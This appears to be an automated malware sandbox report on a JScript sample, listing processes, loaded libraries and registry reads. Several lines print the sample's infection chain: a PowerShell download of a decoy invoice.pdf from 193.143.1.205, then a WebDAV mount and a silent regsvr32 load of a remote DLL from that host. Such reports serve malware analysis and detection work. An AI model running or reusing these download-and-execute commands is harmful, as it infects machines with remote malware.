Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1573099322476027960.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/60@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7108:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yxw3er0b.dnk.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1573099322476027960.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1624,i,11398897442534394680,7804763110970859157,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\7267949011134.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1624,i,11398897442534394680,7804763110970859157,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8518.js.csv");ITextStream.WriteLine(" entry:7981 f:zkafhqp");ITextStream.WriteLine(" exec:2 f:zkafhqp");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
